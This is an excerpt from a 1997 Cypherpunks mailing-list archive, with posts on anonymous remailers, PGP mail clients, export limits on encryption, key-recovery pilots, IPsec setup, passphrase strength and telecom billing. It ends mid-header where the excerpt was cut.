Date: Tue, 11 Feb 1997 06:11:29 -0800 (PST)
To: dthorn@gte.net
Subject: Re: What else do I need for an Internet Server
Message-ID: <199702111411.GAA19289@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Otto Matic wrote:
>> What else do I need for an internet server?
>> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
>> speed hard drives.  These are the Tall Towers that have multiple
>> drives, these are server towers.
>> I think I have a router Hub.  And a couple LAN cards.
>> That's all I have.  But I just got them, and I want to use them.  I assume I
>> will be using some kind of UNIX software.
>
>HP does some strange things to their BIOS software - you may want to
>get one of those net analyzer tools and some low-level software that
>can monitor what your HP's are sending and receiving, just in case.
>
>They don't normally use Vectras for UNIX, so what effects you can
>expect, I don't know.
>

Dale, Thanks for your reply.  Really I'm not sure about UNIX, I was just
guessing.  What I really need is a B.O.M (bill of materials).  What other
'hardware' will I need to round up in order to get this server up and running.

Thanks:


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joe Chou <jchou@cgl.ucsf.EDU>
Date: Tue, 11 Feb 1997 06:11:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <199702111411.GAA19343@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>Meanwhile, a beta version of "Pretty Safe Mail"
><http://www.highware.com/highware/PSM/safemail.htm> is available from
>Highware in Belgium.  It's PGP compatible, and its user interface is a
>great leap forward from any Mac PGP front end I've seen.  But, it still
has
>some deficiencies, it's very slow (25 seconds to sign this message on a 25
>MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently
>discussed on a couple of these lists) its source code hasn't been
published
>or externally audited.

I've been testing Pretty Safe Mail on 68k and PPC platforms, and I
completely agree with you for the 68040 slowness.

But on a Powermac 7600 (604/120Mhz), it took less than 3 seconds to sign
the same document. Highware claims that a faster 68k is in the works.

They've offereed to have PSM externally audited, but I haven't heard of
any volunteers.

Joe




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Version: 2.6.2, by Pretty Safe Mail 1.0

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Rkkv3V23nts=
=MgGH
-----END PGP SIGNATURE-----

| Joe Chou  <jchou@cgl.ucsf.edu>
| http://devbio-mac1.ucsf.edu/joe.html
| Bargmann Lab, UCSF Department of Biochemistry
| PGP KeyID 0x8BB100FD: at web page or public key servers
| PGP Fingerprint [4194 EBC6 EEB0 7B1A  F18F 2185 D406 EDFF]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl8.crl.com>
Date: Sat, 8 Feb 1997 10:25:57 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: MODERATION
Message-ID: <199702081825.KAA00702@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

I'm ending my participation in the moderation of the list.  It 
would have been an interesting experiment if list members had 
been open minded enough to give it a good faith effort.  Instead,
those who weren't even willing to give another approach a try, 
set out to sabotage it and destroy any possibility of a meaningful 
test of the concept.  I see no reason to prolong the agony.

I've asked John to take me out of the loop as soon as possible.
If he can't get that done right away, I'll continue to moderate
in some capacity so that list members aren't cut off.  However,
I'm going to take a break today to help a friend move into her
apartment.  There won't be any messages forwarded for the next
24 hours or so.  Hopefully, John will have things switched over
by that then.  If not, I shove whatever is in the queue on down 
the line.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Sat, 8 Feb 1997 07:55:58 -0800 (PST)
To: Bill Stewart <bs-org@c2.net
Subject: Re: lead remailer is shut down
Message-ID: <199702081555.HAA20007@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 21:42 1997-02-07 -0800, Bill Stewart wrote:
>Raph's remailer list is at
>   http://www.cs.berkeley.edu/~raph/remailer-list.html
>and indicates lots of different remailer features,
>including whether they accept or require PGP,
>and what reliability they've been getting recently.

Thanks, and it worked too...

>
>The remailer that was shut down was the remailer named "lead";
>you may have noticed that your reply went to a machine named "zinc".....
>
>At 11:56 PM 2/7/97 +0100, you wrote:
>>Can anybody give me the address of reliable remailer which accepts
>>pgp messages.
>>
>>BTW which remailer was shut down and why?
>>
>>
>>
>>
>>
>>
>>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#     (If this is a mailing list, please Cc: me on replies.  Thanks.)
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Neugent <wneugent@smiley.mitre.org>
Date: Tue, 11 Feb 1997 06:11:55 -0800 (PST)
To: willis@rand.org
Subject: Re: Encrypted filing of patents sans GAK?
Message-ID: <199702111411.GAA19378@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Willis,
My understanding is that Patty Edfors is overseeing *two* groups of pilots.
One group to experiment with PKIs in government agencies and another group
of ten, as David Aaron said, to "demonstrate the practicality" of key
recovery. The quotes are from my notes of Aaron's talk at the RSA Data
Security Conference. Aaron *did* mention as an example the "filing of
patent applications to the patent office" as an activity that is to explore
key recovery, but I know nothing of the specifics of that.

Also, my understanding is that the intent is definitely *not* to store
private keys used for signing. The GAO has issued a ruling that this is a
no-no. I agree with your judgment that doing so would compromise the
protection one expects from digital signatures. Besides, as one of the
speakers noted at the Conference last week, the evidentiary value of data
gained from wiretapping surely would lose some of its value if a third
party were holding private signature keys of the culprit being wiretapped.

Bill

 >--
>Folder: YES
>--
>Sir:
>
>I believe that the words have been misleading.  According to a briefing that
>I heard in December at a meeting of the Computer System Security and
>Advisory Board, Ms. Patty Efors of the Department of Treasury described a
>group of 10 pilot projects designed to test the efficacy and application of
>digital key signatures in government agencies.  I recall no mention of key
>recovery and in fact, I would assert that if the private keys used in
>digital-signature schemes are in the hands of a 3rd party, the protection
>expected from a digital signature will have been compromised.
>
>Presumably Ambassador Aaron and Ms. Edfors were talking about the same 10
>projects; and if so, then the Ambassador's presentation was confused.
>
>                                        Willis H. Ware
>                                        Santa Monica, CA







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 8 Feb 1997 09:41:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702081741.JAA00193@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 8 Feb 1997, Jeremiah A Blatz wrote:

> Ummm, if you run your own remailer, and don't get lots of people to
> use it, then traffic analysis will reveal that you are the sender
> quite quickly. It will pretty much make everything in the chain before
> your remiler useless. If you send your message through remailers a, b,
> c, and d like this:
> 
> you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen
> 
> and only you use c, then your effective chain is:
> 
> someone who could only be you -> d -> alt.drugs.and-other-various-horsemen

This is assuming that it is a reasonable assumption that all traffic going
through remailer c originated from the owner.  If there is one non-corrupt
remailer in the chain before c, then this would not be a valid assumption
because traffic from the owner would be indistinguishable from traffic sent
by anyone else.  If the remailer has low traffic, the solution is, of course,
to make it higher traffic.  Chain a bunch of messages that get sent to
/dev/null through the remailers, being sure to include c somewhere in the
middle of the chain.  If Mixmaster is used, then it would be virtually
impossible to differentiate between "real" messages and messages destined for
/dev/null.  It would be a little easier with Type I since the size of the
ciphertext decreases after each hop.  This all assumes that encryption is being
used, of course.


Mark
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=BqMW
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Feb 1997 06:11:37 -0800 (PST)
To: Anil Das <cypherpunks@toad.com
Subject: Re: Enlightened commentary on Netizen.
Message-ID: <199702111411.GAA19315@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:41 PM 2/6/97 -0800, Anil Das wrote:
>First, Rebecca Vesely has a special report, the main thrust
>of which is that three firms being allowed to export 56 bit
>encryption indicates flexibility on the part of the
>government.
>http://www.netizen.com/netizen/97/05/special2a.html
>To top it off, here are two gems from the followup discussion.
>http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387
>
>2. 56 ONLY A SLIGHTLY SMALLER JOKE
>    Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST
>
>    If it takes a college student four hours to break
>    a 40bit code it should take him/her about six 
>    hours to do the same to 56bits. Then what excuses 
>    are the government and its butt-kissing companies 
>    going to give us for not allowing *real* coding?

Ironically, we (the good guys) are going to be the beneficiaries of an 
ignorant public, for a change!  We all know that difficulty is not linear 
with bit-size, but hearing that "40 bits is crackable in four hours!"  will 
be interpreted by non-technical people as a strong level of suspicion 
directed at DES as well.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 11 Feb 1997 06:11:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Humor in the oddest places...
Message-ID: <199702111411.GAA19265@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



The February issue of the _Pinky and the Brain_ comic, based on the
animated television show of two lab mice constantly foiled in their
plans to take over the world, has a main story entitled "Mission:
Unpinkable". Our heroes intercept a stray piece of microfilm and
accept the mission to steal Microstomp's "prototype Internet computer
control chip, the 1286 GAK", with Brain plotting to reprogram the
chip so that...

"When the program is introduced on the Internet, every connected CPU
across the globe will download ME! My personality matrix will soon
control every computer in the world!"

Naturally, the plan goes awry.

One wonders if the writers have been following the "key escrow" debate
here on Cpunks.

--
Explain to me, slowly and carefully, why if person A, when screwed over on a
deal by B, is morally obligated to consult, pay, and defer to, person C for
the purpose of seeing justice done, and why person C has any legitimate gripe
if A just hauls off and smacks B around like a dead carp. (Michael Schneider) 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:12:05 -0800 (PST)
To: Otto Matic <ott0matic@hotmail.com>
Subject: Re: What else do I need for an Internet Server
Message-ID: <199702111412.GAA19396@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic wrote:
> >Otto Matic wrote:
> >> What else do I need for an internet server?
> >> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
> >> speed hard drives.  These are the Tall Towers that have multiple
> >> drives, these are server towers.
> >> I think I have a router Hub.  And a couple LAN cards.
> >> That's all I have.  But I just got them, and I want to use them.  I assume I
> >> will be using some kind of UNIX software.

> >HP does some strange things to their BIOS software - you may want to
> >get one of those net analyzer tools and some low-level software that
> >can monitor what your HP's are sending and receiving, just in case.
> >They don't normally use Vectras for UNIX, so what effects you can
> >expect, I don't know.

> Dale, Thanks for your reply.  Really I'm not sure about UNIX, I was just
> guessing.  What I really need is a B.O.M (bill of materials).  What other
> 'hardware' will I need to round up in order to get this server up and running.

Some of the guys in the HP user group have UNIX running on Vectras,
but they also use a full raft of hardware tools, which I don't have
access to.  There's an actual HP-48 calculator, complete in every way
including appearance, running on that version of UNIX.  Don't remember
the name, but it comes on a few CD's, and costs around $50.

To me, 486 and 50 mhz suggest something HP is getting far removed from,
so don't expect much help there.  Few if any computer outlets will be
able to handle the HP peculiarities.  You shouldn't have any trouble
getting the general parts list off the internet here and there, and
there used to be HP forums to provide off-line support on Vectra
hardware, but it might be harder with older equipment.

Suggestion: Call HP Palo Alto at 415-857-1501, and tell them you need
to talk to someone who knows internet domain names for info on Vectras
and the like.  Don't let them slough you off - if they don't have the
info, make them give you another name and number.  If you get a
runaround after several calls, let me know who you talked to, on
what phone #'s, at what time, and I'll give it a shot myself.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Feb 1997 06:12:18 -0800 (PST)
Subject: Re: ISPs vs Bells - Email FCC
Message-ID: <199702111412.GAA19446@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:26 AM 2/7/97 -0500, Derrick Storren wrote:
>By Michelle V. Rafter 
>LOS ANGELES - Regional phone companies and Internet service providers
>are waging a war of words over Internet traffic on the nation's local
>telephone network and who should pay for upgrades as the online boom
>continues. 
[snip]
>In one corner, Pacific Bell, Bell Atlantic and other regional phone
>carriers say the growth of Internet traffic is pushing local telephone
>networks to the breaking point. 
>
>Pacific Bell, for example, says Internet surfers use its phone lines an
>average of 45 minutes a day -- more than twice the amount the network
>was built to handle. Heavy Internet use in Silicon Valley led to brief
>service outages in that area earlier this year, the company said. 

This is an "excellent" example of lying with statistics.  Contrary to the 
implication above, telephone switches aren't designed to handle a certain 
amount of telephone traffic per day; Rather, they are designed to handle a 
certain peak amount of traffic.  This, and the knowledge about the typical 
usage patterns that communities generally see in their telephones allows a 
statistician to estimate how much traffic that switch will actually see per 
day, in the real world.

However, change the pattern of usage, perhaps by adding usage to 
previously-underused time periods, and you could dramatically increase the 
daily traffic statistics for a given telephone switch.  If, say, 2% of the 
population were to suddenly decide to make 6-hour phone calls daily between 
12 midnight and 6am, a time of very low usage, you might increase the 
average daily usage by 50%, but with absolutely no increase in the peak 
usage during the daytime hours nor need for new switches.

While that's a fanciful example, a similar effect occurs, I think.  I've 
seen a set of graphs showing the typical usage level for the Teleport ISP, 
and it appears that while usage reaches a level of about 70% between about 8 
am and 4 PM, it continues to increase after 4pm, solidly peaking between 8 
pm and 11 pm at about 98% usage.  This is long past the time that most 
humans make voice phone calls.  The implication is that easily 3/5 of 
Teleport's traffic occurs after 4 pm and 6 am next morning, a time frame 
which is definitely post-peak hours.   (Traditionally, pre-Internet, 
telephone usages peaks at about 11 am and 3 pm.)

Since modern telephone switches don't wear out, unused call capacity is 
simply wasted.  It makes no sense to charge people more for services which 
cost the supplier no more to provide.


>If, for example, Internet providers passed through an access fee of 1
>cent a minute, a subscriber spending 10 hours online a month would pay
>an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with
>Forrester Research in Cambridge, Mass. 

Even that is unacceptable.  If an average ISP's phone line was busy 50% of 
the time, with "only" an extra charge of 1 cent per minute, that would be an 
average charge of $7.20 per day, or $216 per month, as compared to a typical 
business line which might cost, say, $40 per month.  


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 11 Feb 1997 06:12:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Copyright and the Net
Message-ID: <199702111412.GAA19465@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu"  8-FEB-1997 23:44:12.64
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Copyright and the Net: Is Legislation the Answer?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Tue, 4 Feb 1997 22:03:10 -0500
From: Dave Banisar <banisar@EPIC.ORG>
Subject: Panel - Copyright and the Net: Is Legislation the Answer?

         Copyright and the Net: Is Legislation the Answer?

                ACM97: The Next 50 Years of Computing
                  Sunday March 2   2:00 PM - 5:00 PM
                   Fairmont Hotel     San Jose, CA

      Sponsored by the U.S. Public Policy Committee of ACM (USACM)


Panelists: Hank Barry, Pam Samuelson, Mark Stefik, Gio Wiederhold
Moderator: Barbara Simons, Chair, USACM


  o What is the role of copyright in all-electronic publication world?
  Will it be replaced by contract law?

  o Can the needs of authors who want to publish for renown (academics) and
  authors that want to publish for pay (entertainment etc) be handled in one
  mechanism?

  o Should browsing on the World Wide Web of full copyrighted texts be made
  illegal because people make temporary copies in their computer's memory
  when they look at a web page?

  o Should online service providers, including libraries and universities,
  have to monitor user accounts in order to enforce copyright laws?

  o Should firms that compile data have intellectual property rights so
  that scientists and news reporters can't use the data without permission
  or payments?

  o How should existing differences in national copyright be handled in a
  networked world where national boundaries and are little more than a
  speedbump on the information superhighway?

  o Does technological protection for copyrighted works inherently undermine
  fair use ?


These and related issues will confront the 105th Congress in the coming year.
They will also be examined by this panel, which will discuss controversies
surrounding the extension of copyright law to deal with cyberspace.
Examples include: How does proposed legislation reflect the net?
How much influence have lobbyists for the entertainment industry had
in writing legislation?  What should be the role of professional
societies in analyzing policy initiatives?

We will discussed legislation and international treaties that
have been proposed by the White House.  We will also examine both
technical and legal approaches to problems created by the net,
as well as how various approaches might impact the
science, technology, and business communities.

A significant amount of time will be allowed for audience
interaction in the discussion.



              Biographical sketches


Hank Barry is member of the firm of Wilson Sonsini Goodrich & Rosati
and is Chairman of the firm's Interactive New Media practice group.
He represents publicly and privately-held companies in the multimedia,
software, computer, on-line and entertainment industries.  Hank has authored
numerous articles in the fields of venture capital, interactive
media and technology transactions. He currently serves on the
Editorial Board of the Cyberspace Lawyer.
Hank received his law degree in 1983 from Stanford University,
where he was managing editor of the Stanford Law Review.


Pamela Samuelson is a Professor at the University of California at Berkeley
where she holds a joint appointment at the School of Information Management
and Systems and in the School of Law.  She has written and spoken
extensively on the challenges posed by digital technologies for the law,
particularly in the field of intellectual property.  She is a Contributing
Editor of Communications of the ACM and a Fellow of the Electronic Frontier
Foundation.


Mark Stefik is a principal scientist at the Xerox Palo Alto Research
Center.  At Stanford University he received a Bachelor of Science degree in
mathematics in 1970 and a Ph.D. in computer science in 1980.  His current
research activities are in approaches for creating, protecting, and reusing
digital property.  Stefik is review editor for the international
journal "Artificial Intelligence" and has authored two books on
AI-related topics and a third book on the Internet.


Gio Wiederhold is a professor of Computer Science at Stanford
University, with courtesy appointments in Medicine and Electrical
Engineering.  His research focuses on large-scale software construction,
specifically applied to information systems, the protection
of their content, often using knowledge-based techniques.
Wiederhold has authored and coauthored more than 250 published papers
and reports on computing and medicine.  Wiederhold received a degree
in Aeronautical Engineering in Holland in 1957 and a Ph. D. in Medical
Information Science from the University of California at San Francisco
in 1976.  He has been elected fellow of the ACMI, the IEEE and the
ACM.  He currently serves on the ACM Publications Board,
focusing on the move to electronic publication.


Barbara Simons received her Ph.D. in Computer Science from U.C. Berkeley
in 1981.  She joined the Research Division of IBM in 1980;
she is currently working in IBM Global Services.
Simons is a Fellow of both the American Association for the Advancement
of Science (AAAS) and ACM.  In 1995 she was selected as one of 26 Internet
"Visionaries" by c|net, and in 1994 Open Computing included her in its list
of the top 100 women in computing.  She was awarded the 1992 CPSR Norbert
Wiener Award for Professional and Social Responsibility in Computing.
Simons founded and chairs USACM, the ACM U. S. Public Policy Committee.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 11 Feb 1997 06:12:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <199702111412.GAA19450@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	In reply to Dr. Agre's comment, I'd point out that one
normally has more than one insurance company to choose from...
not the case with governmentally-imposed road taxes.
	-Allen

From:	IN%"rre@weber.ucsd.edu"  9-FEB-1997 02:12:23.32
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Proposed satellite monitoring of car movements in Sweden

[If it wasn't taxes, it would be insurance.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
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Date: Thu, 6 Feb 1997 19:04:07 -0800 (PST)
From: risks@csl.sri.com
Subject: RISKS DIGEST 18.81

RISKS-LIST: Risks-Forum Digest  Thursday 6 February 1997  Volume 18 : Issue 81

----------------------------------------------------------------------

Date: Wed, 29 Jan 1997 20:39:29 +0100 (MET)
From: Feliks Kluzniak <feliks@carlstedt.se>
Subject: Proposed satellite monitoring of car movements in Sweden

The new issue of "Dagens IT", no. 3, dated 28 Jan - 3 Feb 1997 (a Swedish
paper aimed at information technology professionals), contains an item that
might be of some interest to those RISKS readers who followed discussions
about automatic highway toll booths in the US and related subjects.

My (probably imperfect) translation follows.
   
  Car users will be be put in "feetcuffs"
  (written by Margaretha Sundstroem)
      
With the help of a new satellite system car users might pay different taxes,
depending on when and where they drive.  This is what the State
communications commission is said to be discussing.
      
According to (the newspaper) "Dagens Politik", the State communications
commission is discussing a proposal to use satellites for determining car
taxes in the future.  It is proposed that all of Sweden's 3.5 million cars
should be equipped with a little reader fastened to the instrument board.
Car users would then buy cards that can be inserted into the reader.  The
card would communicate with a satellite that would register where you drive
and for how long.  The car tax would then be withdrawn from the card.
      
The proposal has been put forward by the State institution for communication
analysis.  They estimate that just the Stockholm (tax) authorities would be
able to earn six billion crowns by using this system.
      
The costs for car users would thereby increase.

 - - - - 

The reference to "feetcuffs" (by analogy to "handcuffs" - ankle
shackles?)  is an allusion to radio transmitters that are irremovably
fastened to the ankles of some criminals in this country so that the
authorities can monitor their compliance with the rules of house arrest.

The word "communication" is meant to include car traffic etc.  The word
"billion" is given in its US meaning: a thousand million.

The risks?  Apart from the risks of having very complex systems
automatically determine how much you have to pay, there are the usual
privacy considerations. Some cry out "big brother".  Others say you are
already in this situation if you carry a cellular phone.

Feliks Kluzniak,  Carlstedt Research & Technology, Gothenburg

------------------------------

End of RISKS-FORUM Digest 18.81 
************************

Standard Risks reuse notice:

  Reused without explicit authorization under blanket
  permission granted for all Risks-Forum Digest materials.
  The author(s), the RISKS moderator, and the ACM have no
  connection with this reuse.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Tue, 11 Feb 1997 06:11:49 -0800 (PST)
To: coderpunks@toad.com
Subject: E-cash and distributed computing...
Message-ID: <199702111411.GAA19363@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



This is probably not an original idea, but...

Here's a potential use for E-cash: a server that doles out Java 
apps to clients; the clients run the apps, calculating whatever 
results are needed, and uploads the results in return for E-cash
(perhaps a zero-knowledge proof that the result is accurate? another 
is to use only a trusted pool of registered and accountable users rather
than anonymous clients).

The server admins would be paid by those who need computations,
keeping a percentage and using the rest to be offered as E-cash to 
clients with spare computing power.

A lot of possibilities here... a configuration where a set price is 
offered for a computation (the user can check for the highest offer 
on a server, or refuse an offer below a certain amount).

Or maybe applets would only be doled out to systems that meet a 
certain criteria (minimum computing power).

A more complex system where 'bids' are placed based on computing 
power is possible too (those w/better systems would want more cash, 
or be willing to pay it).

Problem: open to forms of 'abuse' (imagine a sysadmin making 
E-cash using his employer's machines overnight).

It might make an interesting experimental project to work on.

--Rob


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Feb 1997 06:27:23 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702111427.GAA19997@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:44 PM 2/5/97 -0800, Sean Roach wrote:
>This time I have opted for a point by point.
>At 07:59 PM 2/5/97 -0800, jim bell wrote:

>>1.  Large numbers of potentially competent and useful people get put into 
>>useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
>>(Those people who still think military spending is really necessary 
>>obviously haven't read AP.)
>This point I can not argue with, at least not directly.  I do believe that
>the military way is wasteful of resources.

Notice, however, that "pre-AP-theory," there was never any "good" way to 
theorize getting rid of the military:  It always appeared that OUR military 
was needed to protect us against THEIR military.  AP fixes that problem.


> However, this is one area that
>has actually benefitted the lower-income bracket in that it gives them
>"inexpensive" (off-chance of death) access to good training.

"War is good business...Invest your son!"

There's no doubt that militaries look like a good deal to at least some 
fraction of the population.  However, as is usually true, the amount of 
money that could be saved if we didn't have to buy military junk would do 
just as well applied to other products or services.


>>2.  Large amounts of money are spent on military hardware, money which goes 
>>to fund  people who would otherwise develop useful products in the 
>>non-government private sector.
>Three things that promote technological growth, expansion, war, threat of war.
>As for expansion. we really have no where else to go.  As for war and threat
>of war, the computer was invented during a war, atomic energy was harnessed
>during war, the internet was created during threat of war.  Many
>advancements, though not all, come to benefit society later.  For that
>matter, steel was probably invented during a war as well, but I can't prove 
it.

I think that's a somewhat distorted way to look at it.  War drastically 
changes the economics associated with technical developments:  In WWII, 
millions of dollars became available for development of computers due to 
their ability to decrypt codes.  It is by no means surprising that suddenly 
making it 10x more affordable to buy computers (not by reducing their costs, 
but by raising the amount of money provided) would make computers appear to 
be the product of war.  

You may recall estimates (which are frequently re-quoted, BTW)that proposed 
that there would only be a market for (say) 5-10 computers in the world.  
That estimate is frequently cited as an example of how wrong they were, but 
in reality that estimate assumed pricing based on then-current costs, and 
they were probably accurate!  It is the _subsequent_ development of 
transistors which made those original estimates "wrong."


Nuclear power, similarly, was born in a flood of money for the same war.  
Expensive government installations, such as Los Alamos, NM, Hanford 
Washington, and Oak Ridge Tennessee were built for that purpose. Activities 
which would have been highly uneconomical during peacetime were suddenly 
worth doing.

If war makes technical development happen, it is only because of how 
supremely wasteful it is.  Useful things still get done, but they get done 
in a highly uneconomical fashion and _before_ they would normally be done in 
a non-war world.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rodney Thayer <rodney@sabletech.com>
Date: Tue, 11 Feb 1997 06:12:00 -0800 (PST)
To: linux-ipsec@clinet.fi
Subject: question on setting up for ipsec/linux
Message-ID: <199702111412.GAA19386@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have 0.4 compiled and loaded on my 2.0.27 system.

I have configured an FTP Software client appropriately for treating the
Linux box as a tunnel for a far-end destination machine.   I try doing a
ping of the far machine.  The FTP client sends a packet to the Linux box.
Lan tracing and the printfs on the master console of the Linux box seem to
indicate that the packet really did go to the linux box.  However, what
happens is:

- the Linux box sends a "protocol unreachable" back to the FTP client.
- the printf's on the console (a line starting with "ipsec_esp" new ip
packet" shows the incoming PING packet

Now I run AH (MD5) and ESP (DES) and the fact I see a fully decrypted PING
packet on the Linux console is quite promising because that seems to prove
I got the SPI's and keys and such configured correctly.

I have checked the documentation that came with the release and the one
thing I did not see was the message "ipsec_tunnel: tunnel: version v0.2b2".

I suspect I have managed to NOT configure some tunnel thing and the IPSEC
code itself is working properly.  I suspect I have somehow misconfigured it
such that, after the nice pretty IP packet is unwrapped from the ISPEC
headers, it is not properly injected into the protocol stack properly.

I'd be happy to read the source code to work on this but I'm not sure where
to start looking.  The missing message comes from ipsec_tunnel.c  I know
from tests sending it invalid SPI values that I really am executing parts
of that file.




               Rodney Thayer <rodney@sabletech.com>       +1 617 332 7292
               Sable Technology Corp, 246 Walnut St., Newton MA 02160 USA
               Fax: +1 617 332 7970           http://www.shore.net/~sable
                           "Developers of communications software"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Tue, 11 Feb 1997 06:11:46 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Passphrase generation
Message-ID: <199702111411.GAA19350@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,
I am wanting to learn how to generate a passphrase that is at least as 
strong as the IDEA algorithm.  I have looked several other places on the 
web for an answer to this, but they all had different things to say that 
didn't add up (no pun intended :).
The IDEA algorithm it seems is 2^128 =  3.402823669209e+38 = 16 bytes 
(charactors).
The charactor count seems kinda small (I am presuming the 16 charactors are 
truely random).
Indeed, 128(ASCII charactor set)^16 =  5.192296858535e+33.
Is my thinking right here?
Is it better to do this- 94(printable ASCII set)^20 =  2.901062411315e+39, 
yielding 20 charactors?

Also, if you come up with a phrase and put enough (perhaps 5 or 6) ASCII 
nonsense in there for it not to be in any crack dictionaries, how random is 
that?  Is it only as random as the extra charactors you put in?  How would 
you calculate that?

Also, how many charactors do you have to add of a set to add its 
permulations (i.e. Does gibber&sh add all ASCII symbols to the equation)?

Thanks, Internaut






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lutz Donnerhacke <lutz@as-node.jena.thur.de>
Date: Tue, 11 Feb 1997 06:25:57 -0800 (PST)
To: Ed Falk <Ed.Falk@Eng.Sun.COM>
Subject: Re: lead remailer is shut down
Message-ID: <199702111425.GAA19706@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


* Ed Falk wrote:
> Can't remailers be written with basic spam safeguards?  I.e. no mass
> crossposts, limited # of posts by each individual client per day, etc.?

Yes, thay can, but using PGP is enough to filter out the majority of spammers.

-- 
|   Lutz Donnerhacke   +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax    |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lutz Donnerhacke <lutz@as-node.jena.thur.de>
Date: Tue, 11 Feb 1997 06:11:07 -0800 (PST)
